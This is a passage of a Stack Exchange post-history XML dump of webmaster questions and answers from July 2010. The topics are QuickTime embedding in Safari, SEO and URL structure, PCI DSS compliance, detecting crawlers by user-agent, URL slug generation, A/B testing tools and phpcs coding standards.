has the `&lt;embed&gt;` tag in it&#xD;&#xA;2. The QuickTime plugin requesting the MOV file through the back-end requester&#xD;&#xA;&#xD;&#xA;Performing the **exact same** actions on OSX or Windows XP wields:&#xD;&#xA;&#xD;&#xA;![Quicktime XP-OSX dump][2]&#xD;&#xA;&#xD;&#xA;The versions of quicktime and safari on all the different machines is the latest (5.0) and I assume this is something that was broken in an update, and as our clients moved to the newer version of the browser they were breaking one by one.&#xD;&#xA;&#xD;&#xA;Any ideas what might cause this? Is this a bug in Safari? Are there better ways of embedding the MOV file?&#xD;&#xA;&#xD;&#xA;  [1]: http://goodoil.enets.com.au/QuickTime-Win7.png&#xD;&#xA;  [2]: http://goodoil.enets.com.au/QuickTime-XPOSX.png" />
  <row Id="2338" PostHistoryTypeId="1" PostId="1305" RevisionGUID="2ef4494e-7e03-4ddf-a045-d3ff1fd5fde5" CreationDate="2010-07-20T03:49:29.370" UserId="138" Text="Embedding Quicktime Player behaves differently on XP/OSX/Windows7" />
  <row Id="2339" PostHistoryTypeId="3" PostId="1305" RevisionGUID="2ef4494e-7e03-4ddf-a045-d3ff1fd5fde5" CreationDate="2010-07-20T03:49:29.370" UserId="138" Text="&lt;safari&gt;&lt;embed&gt;" />
  <row Id="2340" PostHistoryTypeId="2" PostId="1306" RevisionGUID="47a232d8-3429-474b-aca9-2f726ea1b76d" CreationDate="2010-07-20T04:35:48.260" UserId="180" Text="Are you sure you want to buy software?  Do you know what it will be doing for you and whether its features will provide long-term, sustainable benefit to your site?&#xD;&#xA;&#xD;&#xA;Basic SEO is relatively straightforward but can be time consuming.  There are a bunch of questions on this site that can [help you get started][1], but basically it's all about creating quality content, presenting it in an optimized site design (information design), and engaging in your internal and external communities.&#xD;&#xA;&#xD;&#xA;Advanced SEO is more complicated and can be even more time consuming.  It basically involves constant measurement and analysis of traffic and potential traffic, with related adjustments to content, SEM strategies, and more.  It's not rocket science, but it does take considerable effort to understand, and real dedication to master.  As someone sitting on the sidelines, I have tonnes of respect for the professionals in this trade.  Check out [this example][2] (from seomoz.org) of the kind of thing that's done at this level.&#xD;&#xA;&#xD;&#xA;There are free and paid tools out there that can help with both levels, but none of the best ones claim to be a silver bullet.  I'm not saying that there is no value in the software you are considering (I don't have any knowledge of it).  Just be aware that at best it is unlikely to give you the results you desire and, at worst, may cause permanent harm to your online reputation if you use features without understanding their impact.&#xD;&#xA;&#xD;&#xA;My advice?  Spend the time required to understand how SEO works before deciding whether or not to buy any software.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/tagged?tagnames=seo&amp;sort=votes&#xD;&#xA;  [2]: http://www.seomoz.org/blog/how-to-make-awesome-ranking-charts" />
  <row Id="2341" PostHistoryTypeId="5" PostId="1305" RevisionGUID="e9448651-00b7-4716-b9b7-6876a5a3e9ae" CreationDate="2010-07-20T04:44:21.820" UserId="138" Comment="added 432 characters in body; deleted 432 characters in body" Text="We've got a page that embeds a `.MOV` file into a webpage. In the last 6 months it stopped working on some Macs. Then it stopped working on all macs. Then it stopped working on Windows XP. But it works fine in Windows 7. Here's what is embedded in the HTML:&#xD;&#xA;&#xD;&#xA;    &lt;embed src=&quot;/Magic94Scripts/mgrqispi94.dll?APPNAME=FileManager&amp;PRGNAME=prjfilmview&amp;ResID=2784&amp;size=9&quot; style=&quot;float: left;&quot; height=&quot;600&quot; width=&quot;1030&quot;&gt;&#xD;&#xA;&#xD;&#xA;This has worked perfectly for years. The QuickTime player pulls the file out of the requester, inspects the MIME type from the response headers and plays the file appropriately. A Wireshark dump from a Windows 7 looks like this:&#xD;&#xA;&#xD;&#xA;![Quicktime Windows 7 dump][1]&#xD;&#xA;&#xD;&#xA;1. The intial request for the page that has the `&lt;embed&gt;` tag in it&#xD;&#xA;2. The QuickTime plugin requesting the MOV file through the back-end requester&#xD;&#xA;&#xD;&#xA;Performing the **exact same** actions on OSX or Windows XP wields:&#xD;&#xA;&#xD;&#xA;![Quicktime XP-OSX dump][2]&#xD;&#xA;&#xD;&#xA;The versions of quicktime and safari on all the different machines is the latest (5.0) and I assume this is something that was broken in an update, and as our clients moved to the newer version of the browser they were breaking one by one.&#xD;&#xA;&#xD;&#xA;Any ideas what might cause this? Is this a bug in Safari? Are there better ways of embedding the MOV file?&#xD;&#xA;&#xD;&#xA;  [1]: http://goodoil.enets.com.au/QuickTime-Win7.png&#xD;&#xA;  [2]: http://goodoil.enets.com.au/QuickTime-XPOSX.png" />
  <row Id="2342" PostHistoryTypeId="2" PostId="1307" RevisionGUID="369bf4fe-1347-4722-90da-81fb6090d1b0" CreationDate="2010-07-20T04:44:59.700" UserId="138" Text="I have solved the situation by doing URL ReWriting with the following rule:&#xD;&#xA;&#xD;&#xA;`RewriteRule (/res/)(.*)/(.*)/(.*)/(.*) /Magic94Scripts/mgrqispi94.dll?APPNAME=$2&amp;PRGNAME=ViewResource&amp;ResID=$3&amp;size=$4 [I,O,U]`&#xD;&#xA;&#xD;&#xA;And using URLs such as:&#xD;&#xA;&#xD;&#xA;`/res/FileManager/2785/9/TheVideo.mp4`&#xD;&#xA;&#xD;&#xA;Crazy, but it now works. I can only assume quicktime now only inspects the URL for the filetype, rather than grabbing the content-header." />
  <row Id="2343" PostHistoryTypeId="2" PostId="1308" RevisionGUID="d9ba7b9e-147a-4b29-a077-7afe7671adf3" CreationDate="2010-07-20T04:47:52.767" UserId="369" Text="You might try specifying the type attribute check out http://www.quackit.com/html_5/tags/html_embed_tag.cfm for more detail." />
  <row Id="2344" PostHistoryTypeId="2" PostId="1309" RevisionGUID="1f3b7e91-a66c-4b0b-bf7d-2a6fbbe998cc" CreationDate="2010-07-20T07:50:37.637" UserId="480" Text="We are developing a website where there will be two tiers, a gallery tier and an individual photo tier. There is no need to have URL paths like /gallery/photo (and it makes little sense as some photos can appear in more than one gallery), however by using this approach there will be a proliferation of tier one paths on the site /photo1, /photo2, /photo3, /gallery1, etc.&#xD;&#xA;&#xD;&#xA;Will this impact upon SEO?, is it better for Search Engines in general to see a more RESTful interface (/galleries/gallery, /photos/photo1, etc)?, or is there a better way to handle this?&#xD;&#xA;&#xD;&#xA;P.S.: The photos will have a landing page of their own with deep textual content (as will the galleries) and no we won't be using names like photo1 or gallery1." />
  <row Id="2345" PostHistoryTypeId="1" PostId="1309" RevisionGUID="1f3b7e91-a66c-4b0b-bf7d-2a6fbbe998cc" CreationDate="2010-07-20T07:50:37.637" UserId="480" Text="URL paths and their affect on SEO" />
  <row Id="2346" PostHistoryTypeId="3" PostId="1309" RevisionGUID="1f3b7e91-a66c-4b0b-bf7d-2a6fbbe998cc" CreationDate="2010-07-20T07:50:37.637" UserId="480" Text="&lt;seo&gt;&lt;path&gt;&lt;url-format&gt;" />
  <row Id="2347" PostHistoryTypeId="5" PostId="1309" RevisionGUID="f21777c4-55b7-4df2-a81f-8913df2e8be2" CreationDate="2010-07-20T08:05:56.353" UserId="480" Comment="Removed condescending PS remarks." Text="We are developing a website where there will be two distinct types of content: galleries and photos.&#xD;&#xA;&#xD;&#xA;It makes little sense to use URL paths like /gallery/photo as some photos can appear in more than one gallery (and duplication of content is bad); so the current logic is to have a single depth on the site (/photo1, /photo2, /photo3, /gallery1, etc).&#xD;&#xA;&#xD;&#xA;Will this impact upon SEO as the number of single depth pages increases?, is it better for Search Engines in general to see a more RESTful interface (/galleries/gallery, /photos/photo1, etc)?, or is there a better way to handle this?&#xD;&#xA;&#xD;&#xA;P.S.: The photos will have a landing page of their own with deep textual content (as will the galleries)." />
  <row Id="2349" PostHistoryTypeId="2" PostId="1310" RevisionGUID="b9dd389c-eee3-4490-ae7c-48bc679db32e" CreationDate="2010-07-20T08:19:33.607" UserId="55" Text="I deal more with HIPAA/HITECH compliance than PCI/DSS directly, however, HIPAA also usually necessitates compliance with PCI/DSS. Why? You never know when medical records will contain a front and back photo copy of a credit card. More often than not, they do (sadly). This usually comes from someone just using their card to settle a co-payment.&#xD;&#xA;&#xD;&#xA;A few hospitals have already suffered from this practice, after records were stolen resulting in shopping sprees.&#xD;&#xA;&#xD;&#xA;With any standard, a responsible company will look at the ***intent*** behind the standard and  realize the problems the standard is trying to solve. This results (quite often) in ***exceeding*** the requirements of the standard.&#xD;&#xA;&#xD;&#xA;If you have a breach, just one breach and were dishonest about compliance, you will:&#xD;&#xA;&#xD;&#xA; - Never get another merchant account. Just forget about it. You may as well just close down shop, you have no way of getting paid.&#xD;&#xA;&#xD;&#xA; - Be hauled into civil court and have to pay damages&#xD;&#xA;&#xD;&#xA; - Possibly be hauled into criminal court with more serious consequences&#xD;&#xA;&#xD;&#xA; - Enjoy paying for identity protection for every effected person for years to come&#xD;&#xA;&#xD;&#xA;If you were honest, and follow the rules about notification / etc, you will probably get out of it with a bit of a black eye, fix whatever hole was exploited and go back to business as usual. No system is, after all, 100% impervious to compromise. &#xD;&#xA;&#xD;&#xA;You are probably correct in assuming that some companies do not follow the standard. If we assume that, we can also assume that they have been breached and just failed to report it. Visa / MC / Amex are ***very*** good at finding patterns, eventually they will trace a fraudulent trend back to a single vendor, and that vendor will be in quite a bit of trouble.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2350" PostHistoryTypeId="4" PostId="1309" RevisionGUID="23dccf70-8452-482a-a4ec-c545ddf898d6" CreationDate="2010-07-20T08:24:59.630" UserDisplayName="delete" Comment="edited title" Text="URL paths and their effect on SEO" />
  <row Id="2351" PostHistoryTypeId="5" PostId="1310" RevisionGUID="ab6f66cf-dc13-4ace-8d33-6d6b309bdca2" CreationDate="2010-07-20T08:29:25.157" UserId="55" Comment="added 323 characters in body; added 98 characters in body; added 83 characters in body" Text="I deal more with HIPAA/HITECH compliance than PCI/DSS directly, however, HIPAA also usually necessitates compliance with PCI/DSS. Why? You never know when medical records will contain a front and back photo copy of a credit card. More often than not, they do (sadly). This usually comes from someone just using their card to settle a co-payment.&#xD;&#xA;&#xD;&#xA;Embarrassingly, when these records are 'digitized' by third parties, more often than not the resulting (unencrypted) databases contain _clear_ copies of the CC info. Its not as bad as it was a few years ago, but its still a problem. The cause there is not carelessness, its cluelessness.&#xD;&#xA;&#xD;&#xA;A few hospitals have already suffered from this practice, after records were stolen (physically or electronically), resulting in shopping sprees.&#xD;&#xA;&#xD;&#xA;With any standard, a responsible company will look at the ***intent*** behind the standard and  realize the problems the standard is trying to solve. This results (quite often) in ***exceeding*** the requirements of the standard. That is, if, indeed you realize that the standard applies to you :)&#xD;&#xA;&#xD;&#xA;If you have a breach, just one breach and were dishonest about compliance (going back to your question), you will:&#xD;&#xA;&#xD;&#xA; - Never get another merchant account. Just forget about it. You may as well just close down shop, you have no way of getting paid.&#xD;&#xA;&#xD;&#xA; - Be hauled into civil court and have to pay damages&#xD;&#xA;&#xD;&#xA; - Possibly be hauled into criminal court with more serious consequences&#xD;&#xA;&#xD;&#xA; - Enjoy paying for identity protection for every effected person for years to come&#xD;&#xA;&#xD;&#xA;If you were honest, and follow the rules about notification / etc, you will probably get out of it with a bit of a black eye, fix whatever hole was exploited and go back to business as usual. No system is, after all, 100% impervious to compromise. &#xD;&#xA;&#xD;&#xA;You are probably correct in assuming that some companies do not follow the standard. If we assume that, we can also assume that they have been breached and just failed to report it deliberately, or perhaps (due to not complying) they did not realize the breach.&#xD;&#xA;&#xD;&#xA;Visa / MC / Amex are ***very*** good at finding patterns, eventually they will trace a fraudulent trend back to a single vendor, and that vendor will be in quite a bit of trouble.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2352" PostHistoryTypeId="5" PostId="1018" RevisionGUID="06318569-f892-4de8-9fde-471158a5c86e" CreationDate="2010-07-20T09:32:33.040" UserDisplayName="delete" Comment="spelling" Text="You will need to follow (to the letter) and preferably **exceed** the [PCI DSS][1] standard. This is, in no way, an easy task to accomplish nor should it be taken trivially.&#xD;&#xA;&#xD;&#xA;I ***strongly*** recommend that you find a third party processor that can handle this for you and integrate it into your billing system. It goes WAY beyond just having SSL and encrypting the information in the database. You also have to monitor access, detect intrusions, have systems in place that can notify only affected people in the event of a breach (and determine what data may have been compromised), etc.&#xD;&#xA;&#xD;&#xA;Then, there is physical access to the servers, the network, etc. This means a locked cabinet  that is not shared on servers that you own where the physical LAN is also protected. Compliance is not going to be cheap, or easy.&#xD;&#xA;&#xD;&#xA;Really, spend every effort possible to offload this to a third party. The liability alone is simply not worth the risk unless you're talking transactions that amount to hundreds of thousands of (insert your currency here) monthly. In that case, the fees you save might justify bringing on the talent needed to implement and monitor systems that store the information. You'll need:&#xD;&#xA;&#xD;&#xA; - Systems programmers (you will need kernel and file system level auditing hooks)&#xD;&#xA; - IDS/IPS gurus (unless you love vendor lock-in)&#xD;&#xA; - 24/7/365 staff to monitor the alerts generated from the systems that the experts designed. These people aren't cheap, they make the decision to pull the billing plug or report a bug in the algorithms that you use.&#xD;&#xA;&#xD;&#xA;And then again, you could offload all of that to a third party, quite cheaply.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard" />
  <row Id="2353" PostHistoryTypeId="2" PostId="1311" RevisionGUID="042f56f9-fd68-4bad-9fe0-6ab71173ff33" CreationDate="2010-07-20T10:17:20.130" UserId="233" Text="No, it shouldn't matter if you have thousands of pages at the same &quot;level&quot;. I've seen sites that have all their content at the root level because they are under the impression it makes a big difference for SEO. (Incidentally the sites do rank well but I don't think the lack of organization has any bearing on that.)&#xD;&#xA;&#xD;&#xA;I think the structure you are proposing is good, if I have it correctly:&#xD;&#xA;&#xD;&#xA;* A set of category pages at `/galleries/rabbits`&#xD;&#xA;* All image landing pages appearing to be in one folder like `/photos/bunny1`&#xD;&#xA;&#xD;&#xA;A good alternative would be to have a *main category* along with the other categories/tags. You get the added benefit of an extra keyword in the URL, plus it may be easier for users to understand the site structure.&#xD;&#xA;&#xD;&#xA;With the above example, &quot;bunny1&quot; might be under the &quot;rabbits&quot; and &quot;fluffy&quot; categories but the main category would be &quot;rabbits&quot;. You might then have this structure:&#xD;&#xA;&#xD;&#xA;* Category pages of `/gallery/rabbits/` and `/gallery/fluffy/`, both showing the &quot;bunny1&quot; image.&#xD;&#xA;* Image page of `/gallery/rabbits/bunny1`" />
  <row Id="2354" PostHistoryTypeId="2" PostId="1312" RevisionGUID="f2a0d1df-57ba-47e2-9415-96b1e546ec7a" CreationDate="2010-07-20T10:30:01.550" UserId="711" Text="URLs are URLs - it doesn't really matter how they're structured for search engines. The main element I would recommend working on is to make sure that your images (and the pages they're on) are as much as possible on a single URL, so that you don't have /gallery1/image124 and /gallery3/image124 with the same image on them. Depending on how you build your site, that might be hard, so at the very least I would recommend working to have one chosen preferred URL for them and using something like the rel=canonical link element to point to it ( http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html ). " />
  <row Id="2355" PostHistoryTypeId="2" PostId="1313" RevisionGUID="c8a90c79-9ecc-41e9-9e2a-050ecbc5cab1" CreationDate="2010-07-20T10:36:46.753" UserId="711" Text="There's some code to recognize bots at http://ekstreme.com/phplabs/search-engine-authentication (as well as the Google Help Center article at http://www.google.com/support/webmasters/bin/answer.py?answer=80553 on verifying Googlebot). There's also some code at http://ekstreme.com/phplabs/crawlercontroller.php that can be used to recognize crawlers, which you could easily extend to recognize &quot;good&quot; crawlers as well as the spammy ones it recognizes now. &#xD;&#xA;&#xD;&#xA;In general, it's important not to rely on either user-agent name or IP address alone, since some user-agents may be used by normal users and some IP addresses may be shared. &#xD;&#xA;&#xD;&#xA;That said, if you're only using this for email notifications, I'd probably just ignore simple known patterns in the user-agent and live with the false positives &amp; false negatives. Check your log files for the most common crawlers that are active on your site and just check for a unique part of the user-agent name (it might be enough to just use &quot;googlebot|slurp|msnbot|bingbot&quot;)." />
  <row Id="2356" PostHistoryTypeId="2" PostId="1314" RevisionGUID="c42d1649-0ead-44bd-870a-f8c2fde8ba4d" CreationDate="2010-07-20T10:37:59.950" UserId="233" Text="All of the search engines use a huge number of IP addresses. You'll want to look at the user agent string instead. Check [this page][1] for a good list of all crawlers.&#xD;&#xA;&#xD;&#xA;In PHP, something like this would work:&#xD;&#xA;&#xD;&#xA;    $bots = array( 'googlebot', 'msnbot', 'slurp', 'mediapartners-google' );&#xD;&#xA;    $isRobot = false;&#xD;&#xA;    $ua = strtolower( $_SERVER['HTTP_USER_AGENT'] );&#xD;&#xA;&#xD;&#xA;    foreach ( $bots as $bot ) {&#xD;&#xA;      if ( strpos( $ua, $bot ) !== false )&#xD;&#xA;        $isRobot = true;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    if ( !$isRobot ) {&#xD;&#xA;      // do your thing&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.useragentstring.com/pages/Crawlerlist/" />
  <row Id="2357" PostHistoryTypeId="5" PostId="1194" RevisionGUID="1f315e60-2330-4388-8af7-f4f58ae9f8ca" CreationDate="2010-07-20T11:32:25.827" UserId="708" Comment="added 714 characters in body; added 32 characters in body" Text="I've come up with the 2 following extension methods (asp.net / C#):  &#xD;&#xA;&#xD;&#xA;         public static string RemoveAccent(this string txt)&#xD;&#xA;        {&#xD;&#xA;            byte[] bytes = System.Text.Encoding.GetEncoding(&quot;Cyrillic&quot;).GetBytes(txt);&#xD;&#xA;            return System.Text.Encoding.ASCII.GetString(bytes);&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        public static string Slugify(this string phrase)&#xD;&#xA;        {&#xD;&#xA;            string str = phrase.RemoveAccent().ToLower();&#xD;&#xA;            str = System.Text.RegularExpressions.Regex.Replace(str, @&quot;[^a-z0-9\s-]&quot;, &quot;&quot;); // Remove all non invalid chars          &#xD;&#xA;            str = System.Text.RegularExpressions.Regex.Replace(str, @&quot;\s+&quot;, &quot; &quot;).Trim(); // convert multiple spaces into one space  &#xD;&#xA;            str = System.Text.RegularExpressions.Regex.Replace(str, @&quot;\s&quot;, &quot;-&quot;); // //Replace spaces by dashes&#xD;&#xA;            return str;&#xD;&#xA;        }" />
  <row Id="2358" PostHistoryTypeId="5" PostId="1194" RevisionGUID="c525d3c2-fbd9-4768-b2f5-b720c88fce33" CreationDate="2010-07-20T11:42:08.043" UserId="708" Comment="deleted 2 characters in body" Text="I've come up with the 2 following extension methods (asp.net / C#):  &#xD;&#xA;&#xD;&#xA;         public static string RemoveAccent(this string txt)&#xD;&#xA;        {&#xD;&#xA;            byte[] bytes = System.Text.Encoding.GetEncoding(&quot;Cyrillic&quot;).GetBytes(txt);&#xD;&#xA;            return System.Text.Encoding.ASCII.GetString(bytes);&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        public static string Slugify(this string phrase)&#xD;&#xA;        {&#xD;&#xA;            string str = phrase.RemoveAccent().ToLower();&#xD;&#xA;            str = System.Text.RegularExpressions.Regex.Replace(str, @&quot;[^a-z0-9\s-]&quot;, &quot;&quot;); // Remove all non valid chars          &#xD;&#xA;            str = System.Text.RegularExpressions.Regex.Replace(str, @&quot;\s+&quot;, &quot; &quot;).Trim(); // convert multiple spaces into one space  &#xD;&#xA;            str = System.Text.RegularExpressions.Regex.Replace(str, @&quot;\s&quot;, &quot;-&quot;); // //Replace spaces by dashes&#xD;&#xA;            return str;&#xD;&#xA;        }" />
  <row Id="2359" PostHistoryTypeId="4" PostId="1186" RevisionGUID="a67e2929-9985-45fd-b188-2e1486c1f685" CreationDate="2010-07-20T11:42:49.617" UserId="708" Comment="edited title" Text="How do you remove invalid characters when creating a friendly url (ie how do you create a slug) ?" />
  <row Id="2360" PostHistoryTypeId="2" PostId="1315" RevisionGUID="6b3c143a-7e08-406a-9e79-5f83ea164cf6" CreationDate="2010-07-20T12:52:49.600" UserId="524" Text="**[Page Speed][1]**.&#xD;&#xA;This is the plugin from Google for FireBug. If you run it on your site it will tell you where you need to improve. It mostly follows the advice given by Yahoo's Best Practices, but it will tell you where you need to improve.&#xD;&#xA;&#xD;&#xA;I've seen the greatest speed improvement in **reducing the size of my images**. To accomplish this you can use the &quot;Save For Web &amp; Devices&quot; in Photoshop *OR* another good Mac program that can reduce your images is [ImageOptim][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [2]: http://imageoptim.pornel.net/" />
  <row Id="2361" PostHistoryTypeId="2" PostId="1316" RevisionGUID="9cb64853-c479-4c25-af26-f92eb89925cd" CreationDate="2010-07-20T15:32:20.693" UserId="871" Text="Along the lines of the Yahoo Best Practices (YBP) you may want to take a look at the [YSlow Firefox Add-on][1]. It will give you a quick rundown of how a site is doing in regards to the YBP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/5369/" />
  <row Id="2362" PostHistoryTypeId="2" PostId="1317" RevisionGUID="383a1c41-76af-4575-bab6-7de8dbef39ab" CreationDate="2010-07-20T15:35:39.960" UserId="872" Text="I am working on a asp.net application based on a desktop app I wrote which will use BlackfishSQL as its backend. Now I need a hoster.&#xD;&#xA;&#xD;&#xA;I think I can deploy this on Linux using Mono (and I will in fact test it that way) which means I have options and can choose between Windows and Linux hosts. BlackfishSQL itself is managed code.&#xD;&#xA;&#xD;&#xA;Can someone point me to a good Web hosting company offering Linux or Windows servers for projects like mine? I don't think I need much traffic and certainly not much disk space. I do, however, need .NET 2.0 (possibly higher) and Mono 2.4 or higher.&#xD;&#xA;" />
  <row Id="2363" PostHistoryTypeId="1" PostId="1317" RevisionGUID="383a1c41-76af-4575-bab6-7de8dbef39ab" CreationDate="2010-07-20T15:35:39.960" UserId="872" Text="Which hoster for asp.net application using BlackfishSQL?" />
  <row Id="2364" PostHistoryTypeId="3" PostId="1317" RevisionGUID="383a1c41-76af-4575-bab6-7de8dbef39ab" CreationDate="2010-07-20T15:35:39.960" UserId="872" Text="&lt;web-hosting&gt;&lt;asp.net&gt;&lt;mono&gt;" />
  <row Id="2365" PostHistoryTypeId="2" PostId="1318" RevisionGUID="d87dce4f-49aa-48a9-b9b7-88db422945df" CreationDate="2010-07-20T15:36:19.557" UserId="529" Text="What (affordable) alternatives are there to Google Website Optimizer for A/B and multivariate tests?&#xD;&#xA;&#xD;&#xA;The pro's with GWO are basically that its free and that it integrates with Google Analytics.&#xD;&#xA;&#xD;&#xA;The cons: The relative high time cost of setting up a test.&#xD;&#xA;&#xD;&#xA;Some alternatives I've seen so far:&#xD;&#xA;&#xD;&#xA; - Optimizely.com: In private beta. Looks promising.&#xD;&#xA; - VisualWebsiteOptimizer.com Less code-oriented, but is quite expensive.&#xD;&#xA; - Genetify (wiki.github.com/gregdingle/genetify/) Free, open-source, but seems like there's no developer community committed to the project. " />
  <row Id="2366" PostHistoryTypeId="1" PostId="1318" RevisionGUID="d87dce4f-49aa-48a9-b9b7-88db422945df" CreationDate="2010-07-20T15:36:19.557" UserId="529" Text="Alternatives to Google Website Optimizer" />
  <row Id="2367" PostHistoryTypeId="3" PostId="1318" RevisionGUID="d87dce4f-49aa-48a9-b9b7-88db422945df" CreationDate="2010-07-20T15:36:19.557" UserId="529" Text="&lt;google-analytics&gt;&lt;a-b-testing&gt;" />
  <row Id="2368" PostHistoryTypeId="5" PostId="1318" RevisionGUID="d630f202-2184-4006-bbba-b6023f80fea2" CreationDate="2010-07-20T15:38:47.637" UserId="26" Comment="added tag and links" Text="What (affordable) alternatives are there to Google Website Optimizer for A/B and multivariate tests?&#xD;&#xA;&#xD;&#xA;The pro's with GWO are basically that its free and that it integrates with Google Analytics.&#xD;&#xA;&#xD;&#xA;The cons: The relative high time cost of setting up a test.&#xD;&#xA;&#xD;&#xA;Some alternatives I've seen so far:&#xD;&#xA;&#xD;&#xA; - [Optimizely.com][1]: In private beta. Looks promising.&#xD;&#xA; - [VisualWebsiteOptimizer.com][2] Less code-oriented, but is quite expensive.&#xD;&#xA; - Genetify ([wiki.github.com/gregdingle/genetify/][3]) Free, open-source, but seems like there's no developer community committed to the project. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.Optimizely.com/&#xD;&#xA;  [2]: http://www.VisualWebsiteOptimizer.com/&#xD;&#xA;  [3]: http://wiki.github.com/gregdingle/genetify/" />
  <row Id="2369" PostHistoryTypeId="6" PostId="1318" RevisionGUID="d630f202-2184-4006-bbba-b6023f80fea2" CreationDate="2010-07-20T15:38:47.637" UserId="26" Comment="added tag and links" Text="&lt;google-analytics&gt;&lt;a-b-testing&gt;&lt;google-website-optimizer&gt;" />
  <row Id="2370" PostHistoryTypeId="5" PostId="1318" RevisionGUID="ddbb0f61-ec86-4e1a-809f-751fbd117d18" CreationDate="2010-07-20T15:46:08.793" UserId="26" Comment="deleted 4 characters in body" Text="What (affordable) alternatives are there to Google Website Optimizer for A/B and multivariate tests?&#xD;&#xA;&#xD;&#xA;The pro's with GWO are basically that its free and that it integrates with Google Analytics.&#xD;&#xA;&#xD;&#xA;The cons: The relative high time cost of setting up a test.&#xD;&#xA;&#xD;&#xA;Some alternatives I've seen so far:&#xD;&#xA;&#xD;&#xA; - [Optimizely.com][1]: In private beta. Looks promising.&#xD;&#xA; - [VisualWebsiteOptimizer.com][2] Less code-oriented, but is quite expensive.&#xD;&#xA; - Genetify ([wiki.github.com/gregdingle/genetify/][3]) Free, open-source, but seems like there's no developer community committed to the project. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.optimizely.com/&#xD;&#xA;  [2]: http://visualwebsiteoptimizer.com/&#xD;&#xA;  [3]: http://wiki.github.com/gregdingle/genetify/" />
  <row Id="2371" PostHistoryTypeId="6" PostId="1095" RevisionGUID="71ebf7f4-0466-4943-8ca2-fe84a5172f00" CreationDate="2010-07-20T15:57:45.030" UserId="500" Comment="added tags (now I have the rep)" Text="&lt;standards&gt;&lt;code&gt;&lt;php&gt;&lt;code-quality&gt;" />
  <row Id="2372" PostHistoryTypeId="4" PostId="1247" RevisionGUID="16b072e6-1e34-4619-8370-5a564359792c" CreationDate="2010-07-20T15:58:40.050" UserId="500" Comment="added tags (now I have the rep)" Text="Can I skip the PEM pass phrase question when I restart the webserver?" />
  <row Id="2373" PostHistoryTypeId="6" PostId="1247" RevisionGUID="16b072e6-1e34-4619-8370-5a564359792c" CreationDate="2010-07-20T15:58:40.050" UserId="500" Comment="added tags (now I have the rep)" Text="&lt;security&gt;&lt;apache&gt;&lt;ssl&gt;&lt;nginx&gt;" />
  <row Id="2374" PostHistoryTypeId="5" PostId="1141" RevisionGUID="f2cffbb2-53f0-49f4-9ab8-760276c2aa41" CreationDate="2010-07-20T16:03:08.457" UserId="500" Comment="typo" Text="I found a solution for removing the &quot;*Line indented incorrectly*&quot; error but first I should say that *dragonmantank* has a excellent point - you shouldn't mix PHP and HTML. It is a recipe for headaches. However, unfortunatly I think mixing PHP and HTML is very common especially in legacy software.&#xD;&#xA;&#xD;&#xA;The quickest and dirtyest fix assuming we are using the `phpcs` default coding standards (which are the [PEAR][1] standards) is to remove the relevant Sniff file. Find the location of the PEAR standards, for me, using [Ubuntu][2], it was here:&#xD;&#xA;&#xD;&#xA;    &gt; cd /usr/share/php/PHP/CodeSniffer/Standards/PEAR/Sniffs/WhiteSpace&#xD;&#xA;&#xD;&#xA;Rename the `ScopeIndentSniff.php` file so the sniff that checks code indentation will no longer be executed:&#xD;&#xA;&#xD;&#xA;    &gt; sudo mv ScopeIndentSniff.php ScopeIndentSniff.php.bk&#xD;&#xA;&#xD;&#xA;**Job done** - now the indentation won't be checked and the &quot;*Line indented incorrectly*&quot; error won't occur (*and your code won't be standard and won't be such high quality!*).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;The above solution is pretty amateur - the cleaner solution is to create a new coding standard which uses all of the PEAR standards except for your cherry picked customisations. This is very quick to do. Here is how to do it using `getIncludedSniffs()` and `getExcludedSniffs()` and some `phpcs` naming conventions:&#xD;&#xA;&#xD;&#xA;    Go to the directory where the phpcs coding standards are defined:&#xD;&#xA;    &gt; cd /usr/share/php/PHP/CodeSniffer/Standards&#xD;&#xA;&#xD;&#xA;    Create a new directory for your new standard:&#xD;&#xA;    &gt; sudo mkdir PEARish&#xD;&#xA;    &gt; cd PEARish&#xD;&#xA;&#xD;&#xA;    Create your new standard by saving the following in the file:&#xD;&#xA;    &gt; sudo emacs PEARishCodingStandard.php&#xD;&#xA;    &lt;?php&#xD;&#xA;    class PHP_CodeSniffer_Standards_PEARish_PEARishCodingStandard extends PHP_CodeSniffer_Standards_CodingStandard&#xD;&#xA;    {&#xD;&#xA;    	public function getIncludedSniffs()&#xD;&#xA;    	{&#xD;&#xA;    	  return array('PEAR');&#xD;&#xA;    	}&#xD;&#xA;    &#xD;&#xA;    	public function getExcludedSniffs()&#xD;&#xA;    	{&#xD;&#xA;    	  return array('PEAR/Sniffs/WhiteSpace/ScopeIndentSniff.php');&#xD;&#xA;    	}&#xD;&#xA;    }&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;Test your new customised coding standard by invoking `phpcs` using the `--standard` flag. For example:&#xD;&#xA;&#xD;&#xA;    &gt; phpcs --standard=PEARish Test.php&#xD;&#xA;&#xD;&#xA;Once it is working you can set your new standard as the default which means you don't need to type the `--standard` flag each time you use `phpcs`:&#xD;&#xA;&#xD;&#xA;    &gt; sudo phpcs --config-set default_standard PEARish&#xD;&#xA;&#xD;&#xA;See the [phpcs manual][3] for more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pear.php.net&#xD;&#xA;  [2]: http://www.ubuntu.com/&#xD;&#xA;  [3]: http://pear.php.net/manual/en/package.php.php-codesniffer.coding-standard-tutorial.php" />
